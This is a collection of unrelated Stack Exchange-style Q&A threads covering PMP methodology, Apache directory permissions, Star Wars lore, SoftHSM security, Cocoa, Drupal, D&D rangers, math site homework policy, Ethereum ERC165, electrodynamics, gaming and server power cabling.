Project Plan's approach to project (Traditional, Agile, Hybrid)

Question: I am studying for PMP exam.
Is there a process to decide on an approach to a project (i.e, traditional, hybrid or Agile)? It seems this decision is an output of a process. ITTOs?  And where would it be documented; in the project Charter?
Answer: The selection of the project management methods and techniques would be part of what the Guide to the PMBOK 6th Edition refers to as "Develop Project Management Plan".
An input to this process is, as Bogdan mentioned, the organizational process assets. These include policies and procedures that may influence the decision on what methods and techniques may or should be used. If the organization doesn't have policies or guidance, then there may be judgments made by the project manager(s) or data gathering efforts to determine what options are best in the circumstance.
The output of the project management plan and various subsidiary plans would capture the approach. The project life cycle and development approach are components of the project management plan. Other processes, such as those related to quality management and monitoring and controlling project work may influence the project management plan throughout the project.
Answer: PMP is for waterfall management. Agile is another track for PMI; PMI-ACP
To answer the question out of the PMP scope, I can say that's a management decision for a department. Some projects need to be managed as waterfall, and some projects need to be agile.
I can't imagine applying agile to a construction project.
Answer: This decision is usually made as part of the company's practices and policies, sort of like "meta data" on the approach to run projects. In the context of the PMP this is called the Organizational Process Assets.
When you are building the project charter, as per your example, the decision of what methodology or practice you will use to run the project was already taken.
Answer: I think that the essential idea here is that you need to plan ... at the earliest point in a project ... what the "ground rules" are going to be.  "Traditional, Agile, and Hybrid" are merely terms – fairly meaningless by themselves, but loosely descriptive.  The project charter should anticipate how the project is to proceed, how inevitable changes are going to be handled, and so on, and strive to settle these issues in some specific detail.  So that, when the project is underway, everyone in the various management roles is, so to speak, "singing from the same songbook."  All of this should be contained in the Charter, and revised when and if necessary.  This becomes especially important in big, long-lasting, and complex projects – or when any sort of third-party contractor involvement is anticipated.
Comment: Can you elaborate on why the Project Charter is better than the Project Management Plan? I don't have the Guide to the PMBOK 7th edition that recently came out, but the 6th edition says that the charter "formally authorizes the existence of a project and provides the project manager with the authority to apply organizational resources to the project activities" while the plan "describes how the project will be executed, monitored, and controlled". It seems like the life cycle model is closer to the plan than the charter. The later sections give more details that support this.


Apache www folder is read only

Question: I am trying to create files in my /var/www folder (debian), but the folder is read only. The only way I can create a file is to go into root and create it in the terminal. Then I have to edit the contents there too. How can I create files and folders inside the www directory, or make it not readonly but still be secure some how. I don't understand how this works... thanks
Comment: Better question, what are you wanting to use to upload files? via ftp?  Could you type `ls -l /var/ | grep www` and give me the response aswell.
Comment: This has nothing to do with ftp; `/var/www` is on his local machine.
Comment: He never said he was working on a local machine, I assumed he was ssh'g into a remote machine and creating files.  Then he would obviously want sftp/ftp access.  My bad.
Answer: You could change ownership of /var/www to your user or group, or create a subdirectory in /var/www and give yourself ownership.  If your user name is "david" then:
david$ su -
root# chown david /var/www

Or:
david$ su -
root# mkdir /var/www/david
root# chown david /var/www/david

Then your user will be able to read and write inside of whichever directory you give yourself ownership of.
Answer: sudo chown `whoami` /var/www

That will set the owner of /var/www to the current user, which is what whoami returns.
You should really read up on permissions and ownership of files/directories in posix systems if you're going to be maintaining an apache instance.
This may not be the best link, but it was first on google for "understanding unix permissions" : http://www.perlfect.com/articles/chmod.shtml
Comment: Note that `sudo` is not installed on Debian by default.
Answer: You can do this by changing the permissions of the folder.
$ chmod 664 myfile/folder
Answer: In order to do what you want and at the same time don't mess with the web server perms you must add yourself and the web server' user or group to the files and directories ownerships.
You can do it like follows:
1: # chmod -R 775 /var/www/;
2: # chown -R your-user.webserver-group /var/www/

The first line gives the user and group read, write and execution perms in the web server directory.
The second line warranties that you are the user stated in the line 1, and the web server group is in the group in the web server directory.
In that way you will be able to create, modify or delete files and folders in the /var/www/ directory and at the same time the web server can do its normal tasks.
Answer: You could save to /tmp, then use the ftp functions like PHP's ftp_fput() to push the temp file to its proper location. It seems crazy to have the server ftp "back to itself" but the files will then be owned by the ftp user and not the apache user. Be sure to delete the tmp file and secure the file that has the ftp password.
us3.php.net/manual/en/function.ftp-fput.php

Apache www folder is read only


At what point was Luke Skywalker no longer a military officer in the Rebel Alliance or the New Republic?

Question: In The Empire Strikes Back Luke is referred to as Commander Skywalker, but no one calls him by this title in Episodes 6 through 9. At what point was Luke no longer an officer in the Rebel Alliance or the successive New Republic military?
Comment: I believe in the legends canon, he never specifically gives it up, he just stops being referred as it and more as a Jedi master. I remember some conversation between Luke and possibly Mon Motha in the Jedi Search trilogy but I cannot find the specific reference at the moment
Comment: While he may not be addressed specifically by rank in RoTJ, it seems clear that others (e.g. Han and Lando) treat him as an officer. On the other hand, it is unclear what his status is in the years preceding the sequel trilogy. Did he resign or retire when he went off to train new Jedi? Was training Jedi his official military assignment? Is he officially AWOL for decades?
Comment: @RobertColumbia There was a Legends story where Mon Mothma gave Luke her blessing to start a New Jedi Order. Considering that the Jedi were the Guardians of the Old Republic, it's possible that Mon Mothma would allow Luke and his Jedi padawans to be officers in the New Republic, but that's never been stated in any Star Wars material post-Battle of Endor.
Comment: @A.Steer Yeah. I'm not sure how similar the New Republic's military structure is, to the Old Republic's military structure -- where the Jedi gave orders to the infantry. Luke certainly deserved the rank of "Commander Skywalker", that he received for his role in the Battle of Yavin. By the time of Return of the Jedi, it's implied that Luke is still a commander, and he continues fighting alongside the Rebels. Then, from The Force Awakens onward, Luke appears to be distantly associated with New Republic, even though he never officially left their military.
Answer: Legends: Starting around 5 ABY
In Heir to the Empire, it's established that Luke resigned from the military around four years before the events of the book, which takes place in 9 ABY:

"Good evening," he said in a cool, carefully modulated voice. "I'm Talon Karrde." His eyes flicked up and down Luke, as if measuring him. "And you, I presume, are Commander Luke Skywalker."
Luke stared at him. How in the worlds …? "Private citizen Skywalker," he said, striving to keep his own voice calm. "I resigned my Alliance commission nearly four years ago."
(Heir to the Empire, Chapter 18)

A footnote in the 20th anniversary edition mentions that this is elaborated on in Luke Skywalker and the Shadows of Mindor, though I haven't read it and can't confirm.


What makes SoftHSM more security than other software solutions such as OpenSSL?

Question: I see many people using softhsm just for encryption / decryption rather than using openssl.When I ask people they reply softhsm is more secure. Can anyone say in what ways softhsm is more secure.
Comment: I've never heard of such a claim. Please provide sources for it. If you just "heard" from others then please ask the ones you've heard from to back their claim with more details. In general a HSM is more secure because the private key is protected by hardware and critical operations are only executed on the protected hardware so that the private key cannot be stolen. Only, this is not true with SoftHSM which only provides the API to behave like a real HSM but does not provide the protection expected by a real HSM.
Answer: SoftHSM does not do the same functions as OpenSSL. People aren't "choosing" SoftHSM over OpenSSL, as they do different things.
Note that SoftHSM can be linked with the OpenSSL libraries to implement the cryptography internally, meaning that at best its overall security can be no better than that of the OpenSSL libraries themselves.
SoftHSM is also not more secure than an actual Hardware Security Module (HSM). Any keys stored in it are visible in some way to the host computer. By contrast, an actual HSM is designed with physical security in mind, and it will not allow a key to be exported or exposed. For example, an HSM is equipped with tamper-detection circuitry such that it will destroy any keys it contains rather than allowing someone to open the case and sniff out the keys with a logic probe.
Any differences you are seeing in use between using SoftHSM and a true HSM are almost certainly due to cost. SoftHSM is an open source implementation of a PKCS#11 service, and costs virtually nothing to test with and use. A true PKCS#11 commercial HSM can cost many thousands of dollars, and have even more costs for licensing, support contracts, installation, etc.
If you need to test a piece of software against a PKCS#11 server, SoftHSM is a cheap way to accomplish your task. OpenSSL doesn't offer a PKCS#11 interface, so it's not like they can use it as a substitute. But never think that SoftHSM is as secure as an HSM.
Comment: I think one thing it does is increase the security of the _ecosystem_ by allowing code to be written with only the PKCS#11 interface and have it work on pure software, TPM, and HSM systems. It reduces client software complexity, and it allows an easy way to upgrade to HSM.
Comment: There is at least one PKCS#11 bridge underneath an OpenSSL engine (OpenSC's PKCS#11 provider bridge).  You can use that with several different PKCS#11 providers, for different HSMs, smart cards, etc.  There is still the problem of knowing whether the underlying device supports the PKCS#11 mechanisms needed, but that's beyond the scope of a comment....
Answer: If you mean a software "HSM" (Hardware Security Module), it is a contradiction in terms.
HSM reason is to have a SAFE VAULT where sensitive information cannot be accessible by outside (e.g. smartcard with it's private key container)
By the way, you can have a "Software Security Module" that offer you a set of cryptographic functionalities (like openssl library) plus extra functionalities like store sensitive information in safe area (vault) and tools to handle them without access them directly (e.g. crypt/decrypt without access to the key).
How much "safe" is a Software Security Module? As much as software can be.
There are no specific reason to choose "Software Security Module" vs other cryptographic libraries just for cryptographic functionalities.


How to catch click event on NSImageView as subview in NSTableRowView?

Question: In NSTableView I have NSTableRowView and in this row there is some NSImageView subview.
Question: how to track click event on this image?
Answer: You would need to create NSImageView subclass to handle mouse events. But NSTableView does not allow handling -[NSImageView mouseUp:] and other mouse messages. (I think this is related to how a table handles selection).
In this situation I had to use a borderless "Bevel - Switch" button to handle clicks.


Launching an application with an user environment

Question: If I launch eclipse from the command line, the application is aware of the environment variables of the user (e.g. PYTHONPATH) and sets up the interpreter accordingly with Auto Config. This is not the case if I launch an application with a GUI icon or an application launcher. If my application launcher supports scripting, is there a way for me to specify which user's environment to use?
Answer: I think replacing /path/to/executable in your program launcher with
sh 'exec /path/to/executable'

should do the trick. sh is meant to represent your target shell: modify ad lib.
I'm assuming here that your user account is the one that creates the PYTHONPATH variable. Unless you're root or have properly configured sudo access, you are not allowed to clone the environment of another user.
Comment: I was using an external bash script. And it had the basic system env's (e.g. USER, HOME), but not the ones I defined in `.bashrc` I was able to get the environment variables by manually adding it to the script. I could have sourced `.bashrc`, but I deemed it unnecessary.


DRUPAL: adding CCK image fields to other CCK fields

Question: can I add a CCK image field to another CCK field ? I would like to add icons for each item i add. At the moment I can only write the description.
This would be very cool functionality!
Answer: You could do this with JQuery if you want to add an icon by file type. For example see http://www.webdesignerwall.com/tutorials/jquery-tutorials-for-designers/ tip #10.
If you want to be able to specify an icon per item added (so it could be a different icon for every added item) then how you do it depends on how you are displaying it.
So lets say each CCK field is being added to a particular node type and you have a view that lists those nodes then I'd recommend adding a CCK image field to the node (so that each node of the required type has the descriptively named CCK image field and the original CCK field) and then adding a custom template to the view that controls how the image and field are output relative to each other.
I was about to write an example of how to do that but thought I'd check if that describes your needs before I add unnecessary info to the response.... can you clarify what you're trying to do?
Comment: yeah it is clear. But I like to use nodes for projects and CCK fields (with multiple items) . When the project is removed, the items are automatically removed. My customer can easy remove, add and drag and drop the images to change the order. Using a node for each item is not that easy for my customer anymore...
Answer: You can do this using CCK 3.0's multigroup functionality. Note that there is no stable release for this branch, but it seems to work fine for most use cases.
You would add an image field (icon) and a text field, into a multigroup, and then when adding a new node, instead of the traditional 'add another' button, there is a button to add another group of associated fields.


What are the biggest changes between UA Ranger and PHB Ranger?

Question: As a new player to D&D, I don't really know what significant changes have been made to the Ranger through Unearthed Arcana. What makes the class different from the PHB version and how does this help make the ranger more viable?
Comment: Just to clarify, is this question specifically about the [revised ranger UA](https://media.wizards.com/2016/dnd/downloads/UA_RevisedRanger.pdf)? Or about UAs relating to ranger in general?
Answer: This article does an excellent job of describing in detail the changes between the stock ranger and the UA Ranger Revised, but I'll summarise for the Stack. Generally the Ranger is made more mobile, its abilities more widely applicable, and attack more dangerous, but probably the most important change is the introduction of the Beast Conclave archetype, as a direct redesign and improvement to the Beast Master archetype.
The base class changes include:

Favoured Enemy: Adds a +2 damage bonus, condenses humanoids into a single type, initial choice limited to a selection of less powerful enemy types. Increases to a +4 damage bonus at 6th and offers the choice of a greater favoured enemy from a list of more powerful enemy types, with the extra bonus of advantage on saving throws against effects produced by the Greater Favoured Enemy. Added damage against favoured enemies increases the Ranger's combat effectiveness nicely, and advantage on saves against certain powerful enemy types comes in very handy.
Natural Explorer: Eliminated double proficiency to Intelligence and Wisdom checks in relation to favoured terrain, but other benefits now apply pretty much all the time regardless of environment. Plus, offers several combat advantages - ignore difficult terrain, gain advantage to initiative, and advantage against slower enemies in the first round of combat. Ranger is now more generally useful in all terrains, plus the combat bonuses help them start the first round on the right foot.
Primeval Awareness: Removed dependency on a limited resource (no longer needs a spell slot), made more powerful and precise - can detect enemies up to five miles away and know the exact number and distance/direction. Also allows you to commune with animals.
Fleet of Foot: Grants ability to Dash as a bonus action, which is generally useful for anyone anyway, but contributes to the ranger's mobility.
Hide In Plain Sight: Now just causes a -10 penalty to enemy perception checks to spot you so long as you don't move. Has utility in combat and is easier to take advantage of than the PHB version.

The Beast Conclave archetype works drastically differently to the original Beast Master archetype, which is great, because Beast Master Rangers are the single worst class in the core PHB. The improvements are many:

Action economy: The animal companion now acts on its own turn in the initiative order and doesn't require sacrificing the Ranger's actions to command to do anything, so the Ranger has much more versatility in combat.
Defence: Proficiency in all saving throws, upgrading to also gaining advantage on saving throws while it can see the Ranger. Adds proficiency bonus to AC, and eventually gets Uncanny Dodge. Gains hit points based on hit dice so probably works out to having more HP than the PHB equivalent.
Attack: Add proficiency to damage. Explicitly lose multiattack from the base creature, but quickly gains ability to make extra attacks with its Reaction (when the Ranger uses the Attack action) and eventually Storm of Claws and Fangs allows it to attack all adjacent foes in a single action.
Utility: Uses the Ranger's proficiency bonus instead of its own, and gains proficiency in two extra skills. Also gets the benefits of the Ranger's Favoured Enemy feature and can move stealthily alongside its master using Natural Explorer. Gets an ability score improvement whenever the Ranger does.

The other new archetype from the Ranger Revised, "Deep Stalker", made it out of UA into published status in Xanathar's Guide to Everything as the "Gloom Stalker", so I won't discuss it here.
Essentially, the Ranger Revised UA material presents a ranger with more general utility in all circumstances, abilities that support it being an amusher/skirmisher with enhanced mobility, more dangerous attacks and also the option to play the traditional ranger archetype with an animal companion that isn't an underpowered mess.
Comment: "but other benefits now apply to all wilderness terrain" - For reference, though the introductory text mentions wilderness, nothing in the feature description actually restricts the benefits to "wilderness". Related: [Unearthed Arcana Ranger: Does Natural Explorer apply all the time?](https://rpg.stackexchange.com/questions/91764/unearthed-arcana-ranger-does-natural-explorer-apply-all-the-time)
Comment: @V2Blast: well-noted - I have updated my answer to reference this.
Answer: Damage
The biggest change is that Favored Enemy applies to damaging those foes.
There are also a number of utility abilities that allow a group to travel further, faster, and safer when a Ranger is in the party (as opposed to an Outlander Fighter). While these are useful, they are less significant to players than the damage increase. (They may be more significant to the campaign, but that requires meta knowledge that players rarely have.)
Answer: First of all, just go read it; it is worth the read.
The following are the major changes.  But there are others I'm sure I missed.
Base Class Changes

Favored Enemy and greater favored enemy separated out. With different creature type lists.
Favored Enemy now adds a +2 to damage, and greater favored enemy +4.
Natural Explorer is any natural terrain (without a definition for what natural terrain is) instead of having to pick a favored terrain.
Natural Explorer gives a lot of new benefits like advantage on initiative and advantage on attack on an enemy that hasn't gone yet.
Remove Extra Attack from the base ranger, and moves it instead to the subclasses (except Beast Conclave, which gets its own similar feature).

Subclasses (now called Ranger Conclaves)
Beast Conclave

Changed the beast companion list.
Beast gets own turn.
Beast can attack on its own turn w/o giving up ranger's action.
Beast abilities gained are completely changed.
Same beast can be brought back to life (at half cost) even if completely destroyed.

Added Subclasses from previous UA

Hunter
Deep Stalker


Is the site being too lenient in helping people with homework?

Question: Most questions which are actually exercises and considered homework on other sites are closed within a short span of time, but since this site requires people to show their work so that they are guided properly with it, they are not closed here. But it has been misused and some questions are asked and answered without any effort by only saying "I can't think of what to do" and many users who maybe are only concerned with reputation answer such questions with a full solution; therefore, reputation has been easy to gain by such questions, but sometimes those questions are really well presented. Does something need to be done?
Comment: What can be done?  For example: downvote answers to such questions.  At least answers posted before the OP has a chance to respond to hints.
Comment: I don't understant the problem in helping people with their homework questions. If they properly ask a question, what is the matter? I mean, they should also have the right to learn one day, not? If I'm able to help someone, then why shouldn't I do it? Moreover: why shouldn't I do it if the OP shows interest and commitment in what he asks?
Comment: @Ale, I don't see anything wrong with helping people understand how to answer their homework.  But I do see something wrong with encouraging people to copy the answer posted here (and submit it to their teacher) when it is obvious that they did not understand what it means.
Comment: I am not sure how a question asking *if* the site is too lenient with C&P homework is a duplicate of a question asking *why* we don't do enough to prevent C&P homework.
Comment: @JoelReyesNoche Please, define what you mean with "it is obvious that they did not understand". Personally I don't care about reputation. If I'm able to help someone, fine, I'll help him. If then this someone decides to just copy my answer without understanding it, it is not a problem of mine. I think that if you start to answer a question with the certainty that the asker will just copy/paste your answer, then you are pessimistic for nothing,  because you will **never** be sure about it. Moreover, if some just copy/paste your answer, maybe, someone else with the same problem, won't.
Comment: @Ale, sometimes people provide hints to the questions and the poster of the question clearly states that they just want the final answer and not how it was obtained.  I can understand if in this situation you would still give the answer, but I would not.  Let us agree to disagree, then.
Comment: @ADG Which "other sites"?
Answer: Whether or not a question is homework or not, is not a major concern of mine. It is typically quite difficult to determine, and in those cases where it is more or less obvious the question is normally lacking for other reasons, too (see below).
What is a concern of mine is the quality of questions. "Prove [something]." (and nothing else) is not a question let alone a precise one, and this fact is, contrary to what some will say, not irrelevant.
A list of several vaguely related problems is not a reasonable question-post for the site, and so on.
This site is doing extremely well as regards attracting new questions and producing many posts, it does not so well as regards attracting readers.
This suggests to me that we should put more emphasis on increasing  quality rather than quantity.
In brief, I think we should try hard, maybe harder than we do right now, to give high-quality answers to reasonably posed questions (and not throw-away answers to whatever shows up in the new-queue). This will help to solve the (perceived) 'homework problem' too.
Comment: That's a really interesting observation (enough to make me log in again!), Sorting the list of sites by questions per day, I see that most of the top sites have over 1000 times more visits than questions, sometimes an order of magnitude more. The ratio is less than 250 for MSE. Also, MSE has a relatively poor visits per day per user statistic too.
Comment: @GitGud while I think I know where you are coming from, I strongly contest that the standards now *require* useless walls of text from the asker. Inclusion of text that might qualify as "useless wall of text" might sometimes be a consequence of trying to comply with some policy (sometimes also to work around it), however this is something altohether different than saying the current policy requires this. Yet, if you think some existing policy is detrimental to attracting readers you might want to raise the issue separately.
Comment: @user26857 personally I find it often quite difficult to find clear presentations of standard facts on this site. I thus often link from here to Wikipedia or Mathworld. Now these are not really the same thing but still. A reason is what you say that many questions are extremly localized. But noone forces us to accept: "Here is a scan of my (half)done homework. Please check." Yet, this is a bit a broad subject; my point is mainly that there is no shortage of questions on this site and we could raise the bar easily.
Comment: How do you expect to attract readers with all the useless (useless in the sense of trying to find a proof of something, or simply for entertainment) walls of texts the standards now require from askers? Regardless of the merits of the present policy, attracting readers doesn't seem to be one of them.
Comment: @user26857 I do not think the site should become an encyclopedia either. However, there could  still be more well-presented answers to standard questions, rather than each time giving five quick answers to yet another duplicate. Or answering hyper-specialized questions: I mean yesterday somebody asked how to divide two specific polynomials. They got answers, the computation for this one pair. Then they ask a second questions with two other specific polynomials. Do you think this is reasonable?
Comment: @user26857 yes, sure. This was my main point. There are plenty of questions; let us close the bad ones quickly.
Comment: Another issue is an aversion on this site against substantial edit. Of course if all the badly phrased questions must be left more or less as is things are tricky.
Comment: I have my own suspicions regarding "readers". Two key points. Many questions will be, by their nature, of interest mainly to the poster, because the questions revolve around the misconceptions or understanding gaps of the poster.  And it is not very easy to find mathematics questions on a particular narrow topic by searching; the keywords are too vague. I can easily search for "how to implement a priority queue in java" for programming help; it is much harder to find "how to I construct a low r.e. set" because the question (if it exists) might not use any of that terminology.
Comment: @Carl of course there are differences over subjects, but still the "culture" of this sites reinforces the issues. More verbal post are easier to search than pure formulas, but many (out of ignorance or conviction)  answer (and ask) in essentially pure  MJ formulas (and to top it of, full of inessential formating), which is not even a common way to present math in written form. I don't really agree math is all so different. If one the programming site the question would be: ' [some scan of an assignment] Please help!' and answer is **HINT:** [some half-finished code]. You'd not find anything.
Comment: About the quid's concern ("it does not so well as regards attracting *readers*"): maybe this is due to the many possibilities of asking M.SE offers. If someone is stuck at some part of a proof, this is interesting only for him. If someone is asking for a proof verification, this is also interesting (more or less) for him. On the other side (and this is why I've asked twice), what is the comparison term we are using? Are there any other sites dedicated to undergraduate mathematics which are doing better? If yes, then I'm not aware of them.
Comment: @user26857 my remark was based on, as Hurkly assumed correctly, the list of SE sites: [Ordered by Q/day](http://stackexchange.com/sites?view=list#questionsperday) this site is second by a large margin, [ordered by traffic](http://stackexchange.com/sites?view=list#traffic) the situation changes quite a bit and the list is only tenth or so. (Of course comparing different subjects is tricky but there are similar subjects and the effect is really large.)  There are certainly other types of sites for varied math problems but I was not really comparing to them.
Comment: Well, everyone knows that Computer Science is more appealing than maths, so I think the statistics reflect a natural status. With respect to the "*clear presentations of standard facts*", I don't think the purpose of this site is (or should be) to become an encyclopedia like Wiki, and I always give a link when I feel the need instead of writing an elaborate theoretical answer. To conclude, I agree there are many things to improve on M.SE (among them the search function, for instance), but the site works well as it is in my humble opinion.
Comment: No, but this isn't the answerers' fault, and such questions should be quickly closed.
Answer: First of all..I don't do homework.  I am 65 years old and do mathematics problems from my childhood textbooks for amusement, not because I have to.  To me it has much the same appeal that sudoku has to others.  However, sometimes I can get stuck on a problem and since I cannot (obviously) see a solution I ask it on here.  Because of the level of the maths involved (up to 16+ basically, GCE "O" level) the questions are straightforward as are the answers.  One either spots the principle behind the question or one does not.
55-60 years ago no class ever worked diligently through an entire text-book.  Parts were simply skimmed over and only a small proportion of the exercises were ever completed.  It is highly probable therefore that some principles of maths fell through the holes and therefore when an exercise is attempted that uses such a principle help is needed.
How do you distinguish between someone such as myself or a school-pupil trying to avoid work (if indeed that is what it is)?  No-one ever learned anything by being told "work harder" but pupils are frequently told "go and look it up for yourself".  On a site such as this, is that not precisely what they are doing?  "Looking it up" meaning "asking for the solution".  If you don't want to help, fine, don't help, but please do not complain because someone has asked for help.
Comment: The main point of including context is not to decide whose questions should be answered but to allow for more focused answers, and also  to simplify the task for the user answering. In addition, for example including the book from where the problem originates will allow for better discoverability later on.
Comment: @Sean Under the presumption that all questions here are asked out of curiosity by users such as yourself, the statement "The mere existence of a question on here is sufficient justification for an answer" is true. Sadly, the premise is blatantly false, as can be observed on a daily basis. So, to get back to "How do you distinguish between someone such as myself or a school-pupil trying to avoid work", the answer is: We attempt to do this by requiring a bit of context. Lastly, note the difference between "asking for help" and "asking for a solution".
Comment: This is an interesting *context,* and you could include a version of it in your questions (in case you do not do so already). It does not have to be too long or word, it even should not be, but saying: "This is a  problem from chapter on [some subject] in [some book], which I am working through out of general interest: [The problem]. I was able to do the problems before that one in this section, like [Problem you can do] but this one I find difficult because [some reason]." could add value to a post.. (Some will recommend to start with the problem and give the context later in  post.)
Comment: "someone has the authority to decide whose question shall or shall not be answered, is or is not deserving of an answer" But that is precisely the case. Once one gathers 3000 rep points, one can vote to put questions on hold and eventually closed ([see here for details](http://math.stackexchange.com/help/privileges/close-questions)). These questions cannot be answered (well, in principle; there are loopholes, like answering in comments, or even editing the question to include the answer). So if this is truly anathema to you, math.SE might not be the website for you.
Comment: @quid..I could do as you suggest but that would be to imply that someone has the authority to decide whose question shall or shall not be answered, is or is not deserving of an answer.  Such is anathema to me.  The mere existence of a question on here is sufficient justification for an answer (in my view, naturally).  Helping someone who asks for help is (or should be) sufficient reward in itself.
Comment: @quid  I can certainly understand that in some cases background context could be useful but definitely not in all .  Over-complication is the curse of many an incorrect answer and there are plenty of times where a simple answer is required to a simple question.  Knowing that the question comes from an out-of-print textbook originally published in 1939 isn't going to help anyone.
Comment: @SeanO'Donovan I see a chain of hypotheses and deductions in Lord_Farin's last comment. Do you disagree with each and every part of it, or only globally, I am curious?
Comment: @Najib If everyone thought along those lines I would agree with you. Fortunately not all do. Just to put things in perspective, over the last couple of years I have worked through some 3500 to 4000 exercises in the textbooks I have dating to the late 50s early 60s. Of these I have had trouble with just one Algebra problem and three Geometry ones. Of those 3 I have put two on here. The first I came up with an answer myself before I got a response and the second has just been answered in a straightforward manner. If someone is willing to answer that is good. If not it hardly matters, does it?
Comment: @LordFarin I think we are poles apart..Best we simply agree to differ.
Comment: @Did  My disagreement is at a fundamental level re child-rearing which is not a fitting subject for this board hence I do not wish to discuss it futher.
Answer: I think that it is reasonable to require some effort from the asker. Users cannot be expected to churn out answers to test-paper-style questions for their own enjoyment without some motivation given by the asker. The asker should motivate (implicitly) as to why they feel that their question is important, by explaining their situation - what they have tried, what they know.
On the other hand, I find it time-consuming to write out my working in LaTeX. I often spend an hour typing up a question, and the cost of doing so is weighed up against the benefit. The benefit is a useful answer, but it sometimes takes a while for that to come so one has to be patient in those occurrences.
With regards to answering the question with a full solution, we should give good quality answers because we are building up a resource. I usually search for my question before asking it, and when there is a good answer I am able to stop there. I love reading clear, well-articulated answers as opposed to hints. But this does not mean we must not first give a hint - just that in the long-run those questions without proper answers are not worth much. I rely on answers on MSE for questions that I get stuck on, and find that it can complement my notes and textbook to have a well-laid out answer and I often print the question and answer out for later reference if I didn't immediately catch on what was being said.
Answer: One partial answer to the concern raised here is that when a poster shows what some may consider insufficient effort, one can calibrate a posted answer accordingly. Thus, for example, someone posts

When I tried to use integration by parts to do this problem, here in step 6 I didn't understand why [such-and-such detail is as it is] [etc.]

So you post an answer that explains that.
But another person posts

I can't think of any way to do this integral!!

Then instead of going into detail one posts an answer that says "Often when the function being integrated is the product of two functions of very different kinds, integration by parts can be used.", and omit details.
A good solution (which won't happen in the next few weeks...) is to eliminate grades in courses except as private communications from instructors to students.
Comment: I agree with the spirit of this answer. However, I feel that for the second example a *comment* (saying the same thing) would be more appropriate than an answer. This has the benefit of potentially engaging the OP, who maybe thought about integration by parts but couldn't work out what the two "parts" should be.


Check for interface superset

Question: I want to see if a contract supports an interface that is a superset of a current interface. In specific, I want make sure that any arbitray contract supports "SafeTransferFrom(address,address,uint)". What's the best way to check for this?
Answer: There is an ERC165 standard, which implements supportsInterface function. If contract implements ERC165 standard, it should return true for any supported interface that the contract implements. But it's still applicable only to whole interfaces, not individual functions. You can read more about the EIP-165 here: https://eips.ethereum.org/EIPS/eip-165
If the contract doesn't implement ERC165, there is no 100% way to determine that the contract implements some function. If a function has a return value, you can try to static call it and if returns nothing, the contract is probably not implementing it.
Comment: So if an interface is defined, it will only return true for an exact match? Or as long as another interface implements all of the features of the child interface, it's true?
Comment: I don't know what you mean by child interface, but in general I would say yes. It doesn't matter what is the interface name. Important are methods, their selectors in particular (basically hash of their signatures, eg `bytes4(keccak256('myMethod(uint256,address)'))`). This is how you define interface identifier (from EIP-165): `We define the interface identifier as the XOR of all function selectors in the interface.`.

Check for interface superset


How is the idea of the static electric potential $\phi$ extended relativistically?

Question: In classical electrodynamics there's the electrostatic potential $\phi$ which can be differentiated wrt space to give the static electric field $\vec E$. Is this idea perhaps extended relativistically by instead differentiating the potential wrt a space-time interval to give the electromagnetic fields?
Comment: See e.g. Jackson: Classical Electrodynamics and come back for any more precise questions?
Comment: Any book about classical field theory treats this subject. So does wikipedia and many other sites.
Comment: I've deleted an number of comments that were developing into a rather personal argument. Keep it civil, please.
Answer: As stated in the comments, you can find the answer to your question in any textbook about classical electrodynamics. I'll just quote the results here.
In relativistic classical electrodynamics, the electric and magnetic fields are deduced from the potentials $\phi$ and $\vec{A}$ just as you know, i.e. :
$$
\left\{
\begin{array}{c}
\vec{E} =-\vec{\nabla}\phi - \dfrac{\partial\vec{A}}{\partial t} \\
\vec{B} = \vec{\nabla}\times\vec{A}
\end{array}
\right.
$$
Then, $A^\mu \equiv (\phi/c, \vec{A})$ is a four-vector, i.e. it transforms from one inertial reference frame to another according to the Lorentz transformation. Defining $F^{\mu\nu}\equiv \partial^\mu A^\nu - \partial^\nu A^\mu$, the equation of motion for a test charged particle is :
\begin{equation}
m\dfrac{dv^\mu}{ds} = qv_\nu F^{\mu\nu}
\end{equation}
Comment: *quadrivector* is a term I've never heard of until now. I've always used/heard/read *four-vector*
Comment: you are totally right, i just the had the french word in mind (which is "quadrivecteur"). I edited.
Comment: OK, so we use a four-potential, but shouldn't this be differentiated wrt a space-time interval, rather than space and time individually?


How to get my old coc account back using play games

Question: I've been playing coc for a long time and i connected it to play games. One day i accedentaly uninstalled it,  so how do i get it back using play games.  Please help me
Answer: Just login to Google account, go to settings then click change account and then select your account.
Answer: Google play games exists for each Google account, and one game has only one entry of your game progress in in their database which corresponds to the one you use.
Or simply

COC has one database, where there is an entry for your account.
If you logged in with the same account but you don't find your progress, then that means that entry for your account has been overwritten with your new account.
But there's hope for you , most game developers have a backup progress database, where an older version of your account's progress is saved.
So the best thing would be to contact customer care and tell them to restore the last save of your account.

I know my answer sounds obvious, but I hope it helps, because that's the only thing you can do for online games such as COC which are made so , to minimize(take that with a pinch of salt) hacks.


What's the 3 minute countdown for after defeating the Beast fights?

Question: After defeating any of the B&B bosses they turn from beast to beauty form and attempt to hug you to death. I'm not sure if there's a hidden timer but after messing around with the hugging beauty for a while, the screen goes white and there's just Snake and the Beauty left on screen (with the UI) and a 3 minute countdown timer. What does this timer represent?
Answer: It is over after 3 minutes, they colapse and die. But as stated it is a sort of easter egg.

When their Beauty forms are advancing upon the player, not killing them for several minutes will result in transportation to an infinitely sized White Room, with a three minute timer. It is impossible to call Otacon or Rosemary while in this room. Equipping the camera will cause the Beauties to pose. If the player selects and de-selects the camera, they will change their pose. Equipping the iPod and playing "Oishii Two-han Seikatsu" will make them dance. When the timer expires, the Beauties collapse and die.

Source
Comment: So its a timed photo shoot event similar to what the Metal Gear Solid: VR Missions had. I think its worth noting that if the timer expires during this photo shoot event, it will count as a lethal kill and Snake will not get the corresponding face-camo or the beauty statue.


Power Cables Required to Switch from 120v to 240v for Dell Poweredge Servers

Question: We have a cabinet of servers and other hardware (switches, firewalls, etc) that all are currently running on 120v. I've confirmed that the power supply for all of our devices support both 120v and 240v and I understand we'll need to get a 240v PDU. My question is, if we switch from 120 to 240, what power cables do I need to purchase that will plug in to the PDU on one end, and into the server power supplies on the other? For reference, we're using mostly Dell Poweredge servers.
Answer: For 208 or 240v in the US and Canada the standard configuration:

From wall to PDU - L6-30R or L6-50R

If you have a UPS, it should use the same connectors both in and out.
The PDU may branch to smaller "extension" units using C19/C20 (Female Plug/Male Receptacle).

Whatever connects to the servers and equipment would use standard C13/C14 (Female Plug/ Male Receptacle) at both ends, which is the same connector as the power supply on those devices. You'd use cords like this one to plug in the servers:
